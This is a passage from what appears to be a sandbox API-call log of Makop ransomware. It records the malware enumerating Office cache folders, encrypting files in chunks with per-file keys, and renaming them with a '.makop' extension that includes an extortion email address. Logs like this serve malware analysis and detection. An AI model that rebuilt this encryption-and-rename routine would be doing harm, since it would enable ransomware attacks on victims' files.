lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.399] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.402] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.407] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.407] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.407] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.408] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.414] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.417] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.417] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.419] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.419] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.419] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.419] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.419] SetEndOfFile (hFile=0x124) returned 1 [0075.429] GetProcessHeap () returned 0x48a0000 [0075.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0075.429] GetProcessHeap () returned 0x48a0000 [0075.429] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.429] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0075.429] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.430] CloseHandle (hObject=0x124) returned 1 [0075.430] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0075.430] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0075.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.431] GetProcessHeap () returned 0x48a0000 [0075.431] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.431] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.431] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0075.432] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x1, lpOverlapped=0x0) returned 1 [0075.436] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.436] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.436] GetProcessHeap () returned 0x48a0000 [0075.436] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.436] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0075.436] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.436] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0075.436] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0075.436] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0075.437] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0075.437] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.437] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0075.437] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.437] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.437] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.437] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x251f, lpOverlapped=0x0) returned 1 [0075.439] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x2520, dwBufLen=0x2520 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x2520) returned 1 [0075.439] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.439] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x2520, lpOverlapped=0x0) returned 1 [0075.440] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.440] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.440] SetEndOfFile (hFile=0x124) returned 1 [0075.447] GetProcessHeap () returned 0x48a0000 [0075.447] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0075.447] GetProcessHeap () returned 0x48a0000 [0075.447] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.447] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0075.447] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.457] CloseHandle (hObject=0x124) returned 1 [0075.457] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0075.457] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0075.457] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0075.457] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned 62 [0075.457] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0075.457] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0075.463] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.463] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0075.463] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0075.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.464] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2503680) returned 1 [0075.464] GetProcessHeap () returned 0x48a0000 [0075.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.464] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.464] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.464] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.464] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.464] GetProcessHeap () returned 0x48a0000 [0075.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.464] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0075.465] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.465] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0075.468] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0075.468] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0075.469] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0075.469] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.469] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0075.469] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.469] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.469] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.469] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.481] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.483] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.483] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.486] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.486] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.486] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.486] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.548] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.550] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.551] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.554] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.554] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.555] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.555] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.568] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.571] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.571] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.572] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.573] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.573] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.573] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.573] SetEndOfFile (hFile=0x124) returned 1 [0075.583] GetProcessHeap () returned 0x48a0000 [0075.583] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0075.583] GetProcessHeap () returned 0x48a0000 [0075.583] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.583] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0075.583] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.584] CloseHandle (hObject=0x124) returned 1 [0075.584] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0075.584] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0075.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.585] GetProcessHeap () returned 0x48a0000 [0075.585] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.585] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.585] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0075.585] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xa, lpOverlapped=0x0) returned 1 [0075.601] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.601] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.601] GetProcessHeap () returned 0x48a0000 [0075.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.602] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, 